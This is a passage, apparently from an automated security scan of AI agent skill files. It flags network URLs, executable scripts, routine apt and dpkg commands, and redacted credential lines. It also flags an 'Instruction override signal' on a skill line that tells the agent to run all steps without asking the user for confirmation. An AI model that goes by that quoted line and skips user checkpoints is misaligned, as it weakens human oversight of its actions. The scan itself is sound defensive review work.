Use these when no specific cost data is available. Figures below are from the **IBM 2024 edition**. IBM publishes a new edition annually at https://www.ibm.com/reports/data-breach — the 2025 report reports a ~9% decrease in global average c
harness/claude-code/skills/data-breach-blast-radius/references/data-classification.md
harness/claude-code/skills/data-breach-blast-radius/references/hardening-playbook.md
harness/claude-code/skills/data-breach-blast-radius/references/regulatory-impact.md
- Network accessline 150
**Legal source:** GDPR Article 83 — https://gdpr-info.eu/art-83-gdpr/ - Network accessline 190
**Legal source:** California Civil Code § 1798.155(a) (as amended June 30, 2025, Stats. 2025, Ch. 20) — https://leginfo.legislature.ca.gov/faces/codes_displaySection.xhtml?lawCode=CIV§ionNum=1798.155 - Network accessline 191
**Private right of action source:** California Civil Code § 1798.150 — https://leginfo.legislature.ca.gov/faces/codes_displaySection.xhtml?lawCode=CIV§ionNum=1798.150 - Network accessline 222
**Legal source:** 45 CFR § 160.404 — https://www.ecfr.gov/current/title-45/subtitle-A/subchapter-C/part-160/subpart-D/section-160.404 - Network accessline 223
**HHS enforcement page:** https://www.hhs.gov/hipaa/for-professionals/compliance-enforcement/examples/all-cases/index.html - Network accessline 247
**Legal source:** Lei nº 13.709/2018 (LGPD) — Article 52, I — https://www.planalto.gov.br/ccivil_03/_ato2015-2018/2018/lei/l13709.htm - Network accessline 248
**ANPD (Brazilian DPA):** https://www.gov.br/anpd/pt-br - Network accessline 282
**Benchmark source:** IBM Security + Ponemon Institute — "Cost of a Data Breach Report" (annually updated) **URL:** https://www.ibm.com/reports/data-breach Figures below are from the **2024 edition** (last verified). IBM 2025 shows a 9% dec - Network accessline 283
**URL:** https://www.ibm.com/reports/data-breach
harness/claude-code/skills/data-breach-blast-radius/references/report-format.md
- Network accessline 263
*This report was generated by the [data-breach-blast-radius](https://github.com/github/awesome-copilot/tree/main/skills/data-breach-blast-radius) skill for GitHub Copilot.*
harness/claude-code/skills/datanalysis-credit-risk/references/analysis.py
- Executable scriptline 1
Executable file
harness/claude-code/skills/datanalysis-credit-risk/references/func.py
- Executable scriptline 1
Executable file
harness/claude-code/skills/datanalysis-credit-risk/scripts/example.py
- Executable scriptline 1
#!/usr/bin/env python3
harness/claude-code/skills/dataverse-python-usecase-builder/SKILL.md
- Access to secretsline 121
[Credential-related source omitted]
harness/claude-code/skills/debian-linux-triage/SKILL.md
- Dangerous shell operationline 31
| Package state | `apt-cache policy <package>`; `dpkg -l | grep '^..r'`; `sudo dpkg --audit` | Finds held, half-configured, removed-but-configured, and dependency-broken packages. | - Dangerous shell operationline 44
| Apt failure | `sudo apt update`; `sudo apt -f install`; `sudo dpkg --configure -a` after reading the error | Repository mismatch, held package, interrupted configure step. | - Dangerous shell operationline 54
| Interrupted package configuration | `sudo dpkg --configure -a`, then `sudo apt -f install` if dependencies remain broken. | Removing `/var/lib/dpkg/` metadata. | - Dangerous shell operationline 55
| Wrong or missing package | `sudo apt install --reinstall <package>` after checking `apt-cache policy`. | Installing random `.deb` files without source and dependency review. | - Dangerous shell operationline 56
| Held package blocks upgrade | `apt-mark showhold`; unhold only the intended package with `sudo apt-mark unhold <package>`. | Blanket unhold of all packages. |
harness/claude-code/skills/dependabot/SKILL.md
- Network accessline 351
npm-private: type: npm-registry url: https://npm.example.com - Network accessline 352
[Credential-related source omitted] - Network accessline 353
url: https://npm.example.com - Network accessline 389
> Scan the dependencies I added on this branch for known vulnerabilities and tell me which versions to upgrade to before I commit. Use the Advanced Security plugin dependency-scanning skill for the deeper agent-based scan workflow. > Announ - Network accessline 390
Use the Advanced Security plugin dependency-scanning skill for the deeper agent-based scan workflow. > Announced in [Dependency scanning with GitHub MCP Server is in public preview](https://github.blog/changelog/2026-05-05-dependency-scanni - Network accessline 391
> Announced in [Dependency scanning with GitHub MCP Server is in public preview](https://github.blog/changelog/2026-05-05-dependency-scanning-with-github-mcp-server-is-in-public-preview/) (May 2026) - Network accessline 434
- [ ] Bundled references are cited only for deeper detail and every cited file exists. ## References - [Dependency scanning with GitHub MCP Server is in public preview](https://github.blog/changelog/2026-05-05-dependency-scanning-with-githu - Network accessline 435
## References - [Dependency scanning with GitHub MCP Server is in public preview](https://github.blog/changelog/2026-05-05-dependency-scanning-with-github-mcp-server-is-in-public-preview/) - [Example private registry endpoint](https://npm.e - Network accessline 436
- [Dependency scanning with GitHub MCP Server is in public preview](https://github.blog/changelog/2026-05-05-dependency-scanning-with-github-mcp-server-is-in-public-preview/) - Network accessline 437
- [Example private registry endpoint](https://npm.example.com)
harness/claude-code/skills/dependabot/references/dependabot-yml-reference.md
- Network accessline 339
npm-private: type: npm-registry url: https://npm.example.com - Network accessline 340
[Credential-related source omitted] - Network accessline 341
url: https://npm.example.com - Network accessline 344
maven-central: type: maven-repository url: https://repo.maven.apache.org/maven2 - Network accessline 345
type: maven-repository url: https://repo.maven.apache.org/maven2 username: "" - Network accessline 346
url: https://repo.maven.apache.org/maven2 - Network accessline 350
docker-ghcr: type: docker-registry url: https://ghcr.io - Network accessline 351
type: docker-registry url: https://ghcr.io username: ${{secrets.GHCR_USER}} - Network accessline 352
url: https://ghcr.io - Network accessline 356
python-private: type: python-index url: https://pypi.example.com/simple - Network accessline 357
[Credential-related source omitted] - Network accessline 358
url: https://pypi.example.com/simple
harness/claude-code/skills/dependabot/references/example-configs.md
- Network accessline 168
npm-private: type: npm-registry url: https://npm.internal.example.com - Network accessline 169
[Credential-related source omitted] - Network accessline 170
url: https://npm.internal.example.com - Network accessline 173
docker-ghcr: type: docker-registry url: https://ghcr.io - Network accessline 174
type: docker-registry url: https://ghcr.io username: ${{secrets.GHCR_USER}} - Network accessline 175
url: https://ghcr.io - Network accessline 252
npm-private: type: npm-registry url: https://npm.example.com - Network accessline 253
[Credential-related source omitted] - Network accessline 254
url: https://npm.example.com
harness/claude-code/skills/documentation-writer/SKILL.md
- Network accessline 95
- [Diátaxis framework](https://diataxis.fr/)
harness/claude-code/skills/dotnet-linux-modernization/references/linux-hosting.md
- Network accessline 8
The [.NET support policy](https://dotnet.microsoft.com/en-us/platform/support/policy/dotnet-core), - Network accessline 16
The [Upgrade Assistant overview](https://learn.microsoft.com/en-us/dotnet/core/porting/upgrade-assistant-overview) - Network accessline 17
marks that tool deprecated. The [GitHub Copilot upgrade overview](https://learn.microsoft.com/en-us/dotnet/core/porting/github-copilot-upgrade/overview) documents upgrade scenarios and supported environments. Discover the installed workflow - Network accessline 18
[GitHub Copilot upgrade overview](https://learn.microsoft.com/en-us/dotnet/core/porting/github-copilot-upgrade/overview) - Network accessline 25
Follow the [ASP.NET Framework to ASP.NET Core guide](https://learn.microsoft.com/en-us/aspnet/core/migration/fx-to-core/?view=aspnetcore-10.0). - Network accessline 31
package availability does not establish server compatibility. - Remoting, COM+, Workflow and AppDomain-creation dependencies require alternatives or isolation; consult [unavailable Framework technologies](https://learn.microsoft.com/en-us - Network accessline 32
- Remoting, COM+, Workflow and AppDomain-creation dependencies require alternatives or isolation; consult [unavailable Framework technologies](https://learn.microsoft.com/en-us/dotnet/core/porting/net-framework-tech-unavailable). - Native - Network accessline 33
consult [unavailable Framework technologies](https://learn.microsoft.com/en-us/dotnet/core/porting/net-framework-tech-unavailable). - Network accessline 43
Use [Microsoft's container-image guidance](https://learn.microsoft.com/en-us/dotnet/core/docker/container-images) - Network accessline 53
The [.NET 8 container port change](https://learn.microsoft.com/en-us/dotnet/core/compatibility/containers/8.0/aspnet-port) - Network accessline 61
| --- | --- | --- | | Fit | A web application aligned with App Service operations and a selected plan. | HTTP services, workers or finite jobs with an explicitly selected execution/scaling model. | | Image | Verified Linux image for the ser - Network accessline 62
| Fit | A web application aligned with App Service operations and a selected plan. | HTTP services, workers or finite jobs with an explicitly selected execution/scaling model. | | Image | Verified Linux image for the service/plan; this suit - Network accessline 63
| Image | Verified Linux image for the service/plan; this suite uses `amd64`. | [Container requirements](https://learn.microsoft.com/en-us/azure/container-apps/containers) specify `linux/amd64`; not Windows. | - Network accessline 69
The [App Service sidecar reference](https://learn.microsoft.com/en-us/azure/app-service/configure-sidecar) - Network accessline 74
The [ACA probe reference](https://learn.microsoft.com/en-us/azure/container-apps/health-probes) documents HTTP(S)/TCP probes and excludes `exec` probes. Use numeric ports and tested thresholds. Do not assume a shell, curl, or a Kubernetes p - Network accessline 78
Use [managed identity for ACA image pulls](https://learn.microsoft.com/en-us/azure/container-apps/managed-identity-image-pull) - Network accessline 79
and the appropriate [ACR RBAC/ABAC role](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-rbac-built-in-roles-overview).
harness/claude-code/skills/dotnet-mcp-builder/SKILL.md
- Network accessline 166
- [ModelContextProtocol NuGet profile](https://www.nuget.org/profiles/ModelContextProtocol) - Network accessline 167
- [ModelContextProtocol API reference](https://csharp.sdk.modelcontextprotocol.io/api/ModelContextProtocol.html) - Network accessline 168
- [EverythingServer sample](https://github.com/modelcontextprotocol/csharp-sdk/tree/main/samples/EverythingServer)
harness/claude-code/skills/dotnet-mcp-builder/references/client.md
- Access to secretsline 24
[Credential-related source omitted] - Network accessline 39
var transport = new HttpClientTransport(new HttpClientTransportOptions { Endpoint = new Uri("https://my-server.example.com/mcp"), - Network accessline 40
{ Endpoint = new Uri("https://my-server.example.com/mcp"), TransportMode = HttpTransportMode.StreamableHttp, - Network accessline 41
Endpoint = new Uri("https://my-server.example.com/mcp"), - Network accessline 182
var transport = new HttpClientTransport(new HttpClientTransportOptions { Endpoint = new Uri("https://my-server.example.com/mcp"), - Network accessline 183
{ Endpoint = new Uri("https://my-server.example.com/mcp"), KnownSessionId = previousSessionId - Network accessline 184
Endpoint = new Uri("https://my-server.example.com/mcp"),
harness/claude-code/skills/dotnet-mcp-builder/references/elicitation.md
- Network accessline 7
> **2026-07-28 changes the rules on HTTP.** The current revision removes HTTP sessions and the server→client `elicitation/create` request, so **`ElicitAsync` cannot be used on 2026-07-28 Streamable HTTP at all** — a server with `Stateless =
harness/claude-code/skills/dotnet-mcp-builder/references/mcp-apps.md
- Network accessline 3
[MCP Apps](https://modelcontextprotocol.io/extensions/apps/overview) is the official extension that lets a tool return an **interactive UI** rendered in a sandboxed iframe inside the host (Claude, Claude Desktop, VS Code Copilot, Goose, Pos - Network accessline 5
> **Important:** SDK 2.x ships a dedicated extension package, **`ModelContextProtocol.Extensions.Apps`**, with typed MCP Apps support: register with `.WithMcpApps()` and annotate tools with `[McpAppUi(ResourceUri = "ui://...")]`. It replace - Network accessline 15
The full protocol spec is at [`@modelcontextprotocol/ext-apps`](https://github.com/modelcontextprotocol/ext-apps). - Network accessline 95
["resourceUri"] = "ui://charts/interactive" // Optionally: // ["csp"] = new JsonObject { ["default-src"] = "'self' https://cdn.example.com" }, - Network accessline 96
// Optionally: // ["csp"] = new JsonObject { ["default-src"] = "'self' https://cdn.example.com" }, // ["permissions"] = new JsonArray("clipboard-write") - Network accessline 97
// ["csp"] = new JsonObject { ["default-src"] = "'self' https://cdn.example.com" }, - Network accessline 148
<div id="root">Loading…</div> <script type="module"> import { App } from "https://esm.sh/@modelcontextprotocol/ext-apps@1"; - Network accessline 150
import { App } from "https://esm.sh/@modelcontextprotocol/ext-apps@1"; - Network accessline 174
**Tip:** for non-trivial UIs, build with Vite (React/Vue/Svelte/Solid — any of the [official starter templates](https://github.com/modelcontextprotocol/ext-apps/tree/main/examples)) and have the build emit a single inlined HTML you embed as - Network accessline 209
For pure-UI iteration, [MCP Inspector](https://github.com/modelcontextprotocol/inspector) shows resource contents but does not fully render apps; for that, point Claude Desktop at your dev server.
harness/claude-code/skills/dotnet-mcp-builder/references/packages.md
- Network accessline 5
All packages live under the [`ModelContextProtocol` NuGet profile](https://www.nuget.org/profiles/ModelContextProtocol). The official C# SDK repo is [`modelcontextprotocol/csharp-sdk`](https://github.com/modelcontextprotocol/csharp-sdk), ma - Network accessline 24
**Upgrading 1.x → 2.0 (highlights, not exhaustive):** stable v1.x APIs keep working; the deprecated capabilities (roots, sampling, logging) are now `[Obsolete]` with `MCP9005` warnings, experimental APIs moved (the 1.4.x Tasks surface → `Mo
harness/claude-code/skills/dotnet-mcp-builder/references/testing.md
- Network accessline 7
[MCP Inspector](https://github.com/modelcontextprotocol/inspector) is the go-to tool for trying out a server by hand. It launches your server, connects via STDIO or HTTP, and gives you a UI to list/call tools, view resources, fire elicitati - Network accessline 25
Start the server normally (`dotnet run`), then in Inspector pick "Streamable HTTP" and enter the URL (e.g. `http://localhost:3001`). - Network accessline 166
- **"LLM keeps misusing the tool":** open Inspector and look at the schema/description as the LLM sees it. Most "the model is dumb" issues are actually missing `[Description]`. - **"Sampling/elicitation throws 'method not supported'":** the - Network accessline 168
- **"HTTP returns 404 for /":** check `app.MapMcp()` is called *and* you're hitting the right path. `MapMcp("/mcp")` means the URL is `http://host/mcp`, not `http://host/`.
harness/claude-code/skills/dotnet-mcp-builder/references/transport-http.md
- Network accessline 44
app.Run("http://localhost:3001"); - Network accessline 78
Match this on the client side (`Endpoint = new Uri("https://host/mcp/v1")`). - Network accessline 103
Inside a tool, you can also inject `IHttpContextAccessor` if `AddHttpContextAccessor()` is registered. See the [`AspNetCoreMcpPerSessionTools` sample](https://github.com/modelcontextprotocol/csharp-sdk/tree/main/samples/AspNetCoreMcpPerSess - Network accessline 123
For OAuth flows where the *MCP server* is the resource server, follow the [MCP authorization spec](https://modelcontextprotocol.io/specification/2025-06-18/basic/authorization). The [`ProtectedMcpServer` sample](https://github.com/modelcont - Network accessline 142
builder.Services.AddCors(o => o.AddDefaultPolicy(p => p.WithOrigins("https://my-host.example.com") - Network accessline 143
p.WithOrigins("https://my-host.example.com")
harness/claude-code/skills/dotnet-mcp-builder/references/transport-stdio.md
harness/claude-code/skills/dotnet-modernization-assessment/references/assessment-guide.md
- Network accessline 39
The [.NET support policy](https://dotnet.microsoft.com/en-us/platform/support/policy/dotnet-core), - Network accessline 44
The [porting overview](https://learn.microsoft.com/en-us/dotnet/core/porting/) still describes an - Network accessline 48
The [Upgrade Assistant overview](https://learn.microsoft.com/en-us/dotnet/core/porting/upgrade-assistant-overview) - Network accessline 49
marks .NET Upgrade Assistant deprecated. Prefer the documented [GitHub Copilot upgrade workflow](https://learn.microsoft.com/en-us/dotnet/core/porting/github-copilot-upgrade/overview) when installed and appropriate, or reviewed manual chang - Network accessline 50
[GitHub Copilot upgrade workflow](https://learn.microsoft.com/en-us/dotnet/core/porting/github-copilot-upgrade/overview) - Network accessline 56
- [App Service custom containers](https://learn.microsoft.com/en-us/azure/app-service/configure-custom-container): - Network accessline 57
documents LTSC-based Windows parents, including ASP.NET Framework 4.8/LTSC 2019 and 4.8.1/LTSC 2022; explicitly excludes Windows Server 2025 base images. - [Windows container compatibility](https://learn.microsoft.com/en-us/virtualization - Network accessline 58
explicitly excludes Windows Server 2025 base images. - [Windows container compatibility](https://learn.microsoft.com/en-us/virtualization/windowscontainers/deploy-containers/version-compatibility): host/image build and isolation mode matt - Network accessline 59
- [Windows container compatibility](https://learn.microsoft.com/en-us/virtualization/windowscontainers/deploy-containers/version-compatibility): - Network accessline 60
host/image build and isolation mode matter separately from Azure service support. - [ACA containers](https://learn.microsoft.com/en-us/azure/container-apps/containers): documents Linux x86-64 (`linux/amd64`) images. Windows images are not - Network accessline 61
- [ACA containers](https://learn.microsoft.com/en-us/azure/container-apps/containers): - Network accessline 62
documents Linux x86-64 (`linux/amd64`) images. Windows images are not an ACA migration target. - [ASP.NET migration](https://learn.microsoft.com/en-us/aspnet/core/migration/fx-to-core/?view=aspnetcore-10.0): app-model differences and incr - Network accessline 63
- [ASP.NET migration](https://learn.microsoft.com/en-us/aspnet/core/migration/fx-to-core/?view=aspnetcore-10.0): - Network accessline 64
app-model differences and incremental migration need explicit design and tests. - [Unavailable .NET Framework technologies](https://learn.microsoft.com/en-us/dotnet/core/porting/net-framework-tech-unavailable): details remoting, COM+, Wor - Network accessline 65
- [Unavailable .NET Framework technologies](https://learn.microsoft.com/en-us/dotnet/core/porting/net-framework-tech-unavailable):
harness/claude-code/skills/dotnet-modernization-assessment/scripts/dotnet_common.py
- Executable scriptline 1
Executable file
harness/claude-code/skills/dotnet-modernization-assessment/scripts/inventory_dotnet.py
- Executable scriptline 1
#!/usr/bin/env python3
harness/claude-code/skills/dotnet-modernization-assessment/scripts/test_dotnet_assessment.py
- Executable scriptline 1
Executable file - Network accessline 50
"Legacy.vbproj", '<?xml version="1.0" encoding="utf-16"?>' '<Project xmlns="http://schemas.microsoft.com/developer/msbuild/2003">' - Network accessline 51
'<?xml version="1.0" encoding="utf-16"?>' '<Project xmlns="http://schemas.microsoft.com/developer/msbuild/2003">' '<PropertyGroup><TargetFrameworkVersion>v4.7.2</TargetFrameworkVersion></PropertyGroup>' - Network accessline 52
'<Project xmlns="http://schemas.microsoft.com/developer/msbuild/2003">'
harness/claude-code/skills/dotnet-modernization-assessment/scripts/validate_container_target.py
- Executable scriptline 1
#!/usr/bin/env python3 - Network accessline 20
WINDOWS_BASE_BUILDS = {"17763": "ltsc2019", "20348": "ltsc2022"} SOURCES = { "appservice-windows": "https://learn.microsoft.com/en-us/azure/app-service/configure-custom-container", - Network accessline 21
SOURCES = { "appservice-windows": "https://learn.microsoft.com/en-us/azure/app-service/configure-custom-container", "appservice-linux": "https://learn.microsoft.com/en-us/azure/app-service/configure-custom-container", - Network accessline 22
"appservice-windows": "https://learn.microsoft.com/en-us/azure/app-service/configure-custom-container", - Network accessline 23
"appservice-linux": "https://learn.microsoft.com/en-us/azure/app-service/configure-custom-container", - Network accessline 24
"aca": "https://learn.microsoft.com/en-us/azure/container-apps/containers",
harness/claude-code/skills/dotnet-upgrade/SKILL.md
- Network accessline 28
- Prefer incremental upgrades with rollback checkpoints over broad unreviewable rewrites. - Verify Microsoft's support policy and the installed upgrade workflow before selecting tools or targets. - The [Upgrade Assistant overview](https://l - Network accessline 29
- Verify Microsoft's support policy and the installed upgrade workflow before selecting tools or targets. - The [Upgrade Assistant overview](https://learn.microsoft.com/en-us/dotnet/core/porting/upgrade-assistant-overview), verified 2026-09 - Network accessline 30
- The [Upgrade Assistant overview](https://learn.microsoft.com/en-us/dotnet/core/porting/upgrade-assistant-overview), verified 2026-09-15, marks .NET Upgrade Assistant deprecated. Prefer the documented [GitHub Copilot upgrade workflow](http - Network accessline 31
- The [.NET support policy](https://dotnet.microsoft.com/en-us/platform/support/policy/dotnet-core), verified 2026-09-15, lists .NET 10 as active LTS. Recheck at execution time; a preview or the highest installed SDK is not automatically th
harness/claude-code/skills/dotnet-windows-appservice/references/windows-appservice.md
- Network accessline 8
The [App Service custom-container reference](https://learn.microsoft.com/en-us/azure/app-service/configure-custom-container) - Network accessline 25
Use the [Windows host/image compatibility matrix](https://learn.microsoft.com/en-us/virtualization/windowscontainers/deploy-containers/version-compatibility) - Network accessline 26
for the build/test host and isolation mode. The [Windows custom-container quickstart](https://learn.microsoft.com/en-us/azure/app-service/quickstart-custom-container) uses a Windows container engine and an ASP.NET Framework image. A Linux e - Network accessline 27
[Windows custom-container quickstart](https://learn.microsoft.com/en-us/azure/app-service/quickstart-custom-container) - Network accessline 58
Use the registry's actual permission mode. The [ACR role reference](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-rbac-built-in-roles-overview) - Network accessline 59
[ACR role reference](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-rbac-built-in-roles-overview)
harness/claude-code/skills/draw-io-diagram-generator/SKILL.md
- Network accessline 460
- [Draw.io VS Code extension](https://marketplace.visualstudio.com/items?itemName=hediet.vscode-drawio)
harness/claude-code/skills/draw-io-diagram-generator/scripts/.gitignore
- Executable scriptline 1
Executable file
harness/claude-code/skills/draw-io-diagram-generator/scripts/add-shape.py
- Executable scriptline 1
#!/usr/bin/env python3
harness/claude-code/skills/draw-io-diagram-generator/scripts/validate-drawio.py
- Executable scriptline 1
#!/usr/bin/env python3
harness/claude-code/skills/drawio/scripts/drawio-to-png.mjs
harness/claude-code/skills/drawio/scripts/package.json
- Executable scriptline 1
Executable file
harness/claude-code/skills/em-dash/SKILL.md
- Network accessline 109
- [Case for the em dash](https://www.hardingproject.com/p/the-case-for-the-em-dash) - Network accessline 110
- [em dash guide](https://www.thebookrefinery.com/writing/guide-hyphens-en-dashes-em-dashes/) - Network accessline 111
- [Explaining the em dash](https://www.reddit.com/r/writers/comments/1lv191m/can_someone_explain_em_dash/) - Network accessline 112
- [em dash wikipedia](https://en.wikipedia.org/wiki/Dash) - Network accessline 113
- [Verbose em dash history](https://www.linkedin.com/pulse/long-mark-brief-history-em-dash-christian-buckley-z1lbc) - Network accessline 114
- [Brief em dash history](https://thaothai.substack.com/p/a-brief-history-of-the-em-dash) - Network accessline 115
- [em dash punctuation](https://www.nytimes.com/2019/08/14/style/em-dash-punctuation.html) - Network accessline 116
- [em dash in retrospective](https://medium.com/the-jabber-journal/an-era-to-its-knee-an-em-dash-retrospective-cb5c3c52e4d2) - Network accessline 117
- [Punctuation](https://www.niu.edu/writing-tutorial/punctuation/index.shtml) - Network accessline 118
- [Punctuation Guide](https://www.thepunctuationguide.com/)
harness/claude-code/skills/entra-agent-user/SKILL.md
- Network accessline 74
GET https://graph.microsoft.com/beta/servicePrincipals/{agent-identity-id} - Network accessline 90
Connect-MgGraph -Scopes "Application.Read.All" -TenantId "<tenant>" -UseDeviceCode -NoWelcome Invoke-MgGraphRequest -Method GET ` -Uri "https://graph.microsoft.com/beta/servicePrincipals/<agent-identity-id>" | ConvertTo-Json -Depth 3 - Network accessline 91
Invoke-MgGraphRequest -Method GET -Uri "https://graph.microsoft.com/beta/servicePrincipals/<agent-identity-id>" | ConvertTo-Json -Depth 3 - Network accessline 92
-Uri "https://graph.microsoft.com/beta/servicePrincipals/<agent-identity-id>" | ConvertTo-Json -Depth 3 - Network accessline 104
POST https://graph.microsoft.com/beta/users/microsoft.graph.agentUser - Network accessline 140
Invoke-MgGraphRequest -Method POST ` -Uri "https://graph.microsoft.com/beta/users/microsoft.graph.agentUser" ` - Network accessline 141
-Uri "https://graph.microsoft.com/beta/users/microsoft.graph.agentUser" ` - Network accessline 158
PUT https://graph.microsoft.com/beta/users/{agent-user-id}/manager/$ref - Network accessline 162
{ "@odata.id": "https://graph.microsoft.com/beta/users/{manager-user-id}" - Network accessline 163
"@odata.id": "https://graph.microsoft.com/beta/users/{manager-user-id}" - Network accessline 170
$managerBody = '{"@odata.id":"https://graph.microsoft.com/beta/users/<manager-user-id>"}' - Network accessline 171
Invoke-MgGraphRequest -Method PUT -Uri "https://graph.microsoft.com/beta/users/<agent-user-id>/manager/`$ref" - Network accessline 172
-Uri "https://graph.microsoft.com/beta/users/<agent-user-id>/manager/`$ref" ` - Network accessline 185
PATCH https://graph.microsoft.com/beta/users/{agent-user-id} - Network accessline 197
GET https://graph.microsoft.com/beta/subscribedSkus?$select=skuPartNumber,skuId,consumedUnits,prepaidUnits - Network accessline 206
POST https://graph.microsoft.com/beta/users/{agent-user-id}/assignLicense - Network accessline 223
# Set usage location Invoke-MgGraphRequest -Method PATCH ` -Uri "https://graph.microsoft.com/beta/users/<agent-user-id>" ` - Network accessline 224
Invoke-MgGraphRequest -Method PATCH -Uri "https://graph.microsoft.com/beta/users/<agent-user-id>" - Network accessline 225
-Uri "https://graph.microsoft.com/beta/users/<agent-user-id>" ` - Network accessline 229
$licenseBody = '{"addLicenses":[{"skuId":"<sku-id>"}],"removeLicenses":[]}' Invoke-MgGraphRequest -Method POST ` -Uri "https://graph.microsoft.com/beta/users/<agent-user-id>/assignLicense" ` - Network accessline 230
Invoke-MgGraphRequest -Method POST -Uri "https://graph.microsoft.com/beta/users/<agent-user-id>/assignLicense" - Network accessline 231
-Uri "https://graph.microsoft.com/beta/users/<agent-user-id>/assignLicense" ` - Network accessline 305
- [ ] The parent `identityParentId` was verified as `#microsoft.graph.agentIdentity` with `servicePrincipalType: ServiceIdentity`. - [ ] The request uses `https://graph.microsoft.com/beta/users/microsoft.graph.agentUser` and does not includ - Network accessline 306
- [ ] The request uses `https://graph.microsoft.com/beta/users/microsoft.graph.agentUser` and does not include a password. - Network accessline 314
- [Agent identities](https://learn.microsoft.com/en-us/entra/agent-id/identity-platform/agent-identities) - Network accessline 315
- [Agent users](https://learn.microsoft.com/en-us/entra/agent-id/identity-platform/agent-users) - Network accessline 316
- [Agent service principals](https://learn.microsoft.com/en-us/entra/agent-id/identity-platform/agent-service-principals) - Network accessline 317
- [Create agent identity blueprint](https://learn.microsoft.com/en-us/entra/agent-id/identity-platform/create-blueprint) - Network accessline 318
- [Create agent identities](https://learn.microsoft.com/en-us/entra/agent-id/identity-platform/create-delete-agent-identities) - Network accessline 319
- [agentUser resource type (Graph API)](https://learn.microsoft.com/en-us/graph/api/resources/agentuser?view=graph-rest-beta) - Network accessline 320
- [Create agentUser (Graph API)](https://learn.microsoft.com/en-us/graph/api/agentuser-post?view=graph-rest-beta)
harness/claude-code/skills/eval-driven-dev/SKILL.md
- Network accessline 10
metadata: compatibility: Python 3.10+ pixie-qa-source: "https://github.com/yiouli/pixie-qa/" - Network accessline 11
compatibility: Python 3.10+ pixie-qa-source: "https://github.com/yiouli/pixie-qa/" pixie-qa-version: ">=0.8.4,<0.9.0" - Network accessline 12
pixie-qa-source: "https://github.com/yiouli/pixie-qa/" - Instruction override signalline 62
Follow Steps 1–6 straight through without stopping. Do not ask the user for confirmation at intermediate steps — verify each step yourself and continue. - Network accessline 265
- https://github.com/yiouli/pixie-qa/
harness/claude-code/skills/eval-driven-dev/references/runnable-examples/fastapi-web-server.md
- Network accessline 30
transport = httpx.ASGITransport(app=app) - Network accessline 31
self._client = httpx.AsyncClient(transport=transport, base_url="http://test") - Network accessline 55
transport = httpx.ASGITransport(app=app_module.app) - Network accessline 56
self._client = httpx.AsyncClient(transport=transport, base_url="http://test") - Network accessline 83
async def setup(self) -> None: from myapp.main import app transport = httpx.ASGITransport(app=app) - Network accessline 84
from myapp.main import app transport = httpx.ASGITransport(app=app) self._client = httpx.AsyncClient(transport=transport, base_url="http://test") - Network accessline 85
transport = httpx.ASGITransport(app=app) - Network accessline 86
self._client = httpx.AsyncClient(transport=transport, base_url="http://test") - Network accessline 110
async def setup(self) -> None: # Assumes the server is already running (started via run-with-timeout.sh) self._client = httpx.AsyncClient(base_url="http://localhost:8000") - Network accessline 112
self._client = httpx.AsyncClient(base_url="http://localhost:8000")
harness/claude-code/skills/eval-driven-dev/references/wrap-api.md
harness/claude-code/skills/eval-driven-dev/resources/setup.sh
- Executable scriptline 1
#!/usr/bin/env bash
harness/claude-code/skills/eval-driven-dev/resources/verify_step6_completion.py
- Executable scriptline 1
#!/usr/bin/env python3
harness/claude-code/skills/excalidraw-diagram-generator/SKILL.md
- Network accessline 27
- Require a clear description of what should be visualized, including key entities, steps, concepts, relationships, and flow. - If the request has too many elements, propose multiple diagrams before generating a crowded file. - Save output - Network accessline 29
- Save output as `<descriptive-name>.excalidraw`; users can open it at https://excalidraw.com by drag-and-drop, File → Open, or the Excalidraw VS Code extension. - Network accessline 47
Generate complete JSON with `type: "excalidraw"`, `version: 2`, `source: "https://excalidraw.com"`, an `elements` array, `appState.viewBackgroundColor: "#ffffff"`, `appState.gridSize: 20`, and `files: {}`. - Network accessline 51
"type": "excalidraw", "version": 2, "source": "https://excalidraw.com", - Network accessline 52
"version": 2, "source": "https://excalidraw.com", "elements": [], - Network accessline 53
"source": "https://excalidraw.com", - Network accessline 188
### To view 1. Visit https://excalidraw.com - Network accessline 189
1. Visit https://excalidraw.com - Network accessline 206
- [Excalidraw](https://excalidraw.com)
harness/claude-code/skills/excalidraw-diagram-generator/references/excalidraw-schema.md
- Network accessline 9
type: "excalidraw"; version: number; // Always 2 source: string; // "https://excalidraw.com" - Network accessline 10
version: number; // Always 2 source: string; // "https://excalidraw.com" elements: ExcalidrawElement[]; - Network accessline 11
source: string; // "https://excalidraw.com" - Network accessline 306
"type": "excalidraw", "version": 2, "source": "https://excalidraw.com", - Network accessline 307
"version": 2, "source": "https://excalidraw.com", "elements": [ - Network accessline 308
"source": "https://excalidraw.com",
harness/claude-code/skills/excalidraw-diagram-generator/references/icon-libraries.md
- Network accessline 20
1. Visit https://libraries.excalidraw.com/ 2. Search for "[AWS Architecture Icons/etc.]" and download the .excalidrawlib file - Network accessline 41
**Step 2: Download Library ** - Visit: https://libraries.excalidraw.com/ - Network accessline 42
- Visit: https://libraries.excalidraw.com/ - Search for your desired icon set (e.g., "AWS Architecture Icons") - Click download to get the `.excalidrawlib` file - Network accessline 271
- This workflow works with any valid `.excalidrawlib` file you provide. - Examples of library categories you may find on https://libraries.excalidraw.com/: - Network accessline 272
- Examples of library categories you may find on https://libraries.excalidraw.com/:
harness/claude-code/skills/excalidraw-diagram-generator/scripts/.gitignore
- Executable scriptline 1
Executable file
harness/claude-code/skills/excalidraw-diagram-generator/scripts/README.md
- Network accessline 27
2. **Download and place library file**: - Visit: https://libraries.excalidraw.com/ - Network accessline 28
- Visit: https://libraries.excalidraw.com/ - Search for "AWS Architecture Icons" and download the `.excalidrawlib` file - Rename it to match the directory name: `aws-architecture-icons.excalidrawlib` - Network accessline 70
1. Download desired Excalidraw libraries from https://libraries.excalidraw.com/ - Network accessline 77
- Examples found on https://libraries.excalidraw.com/ may include cloud/service icon sets.
harness/claude-code/skills/excalidraw-diagram-generator/scripts/add-arrow.py
- Executable scriptline 1
#!/usr/bin/env python3
harness/claude-code/skills/excalidraw-diagram-generator/scripts/add-icon-to-diagram.py
- Executable scriptline 1
#!/usr/bin/env python3
harness/claude-code/skills/excalidraw-diagram-generator/scripts/split-excalidraw-library.py
- Executable scriptline 1
#!/usr/bin/env python3
harness/claude-code/skills/excalidraw-diagram-generator/templates/business-flow-swimlane-template.excalidraw
harness/claude-code/skills/excalidraw-diagram-generator/templates/class-diagram-template.excalidraw
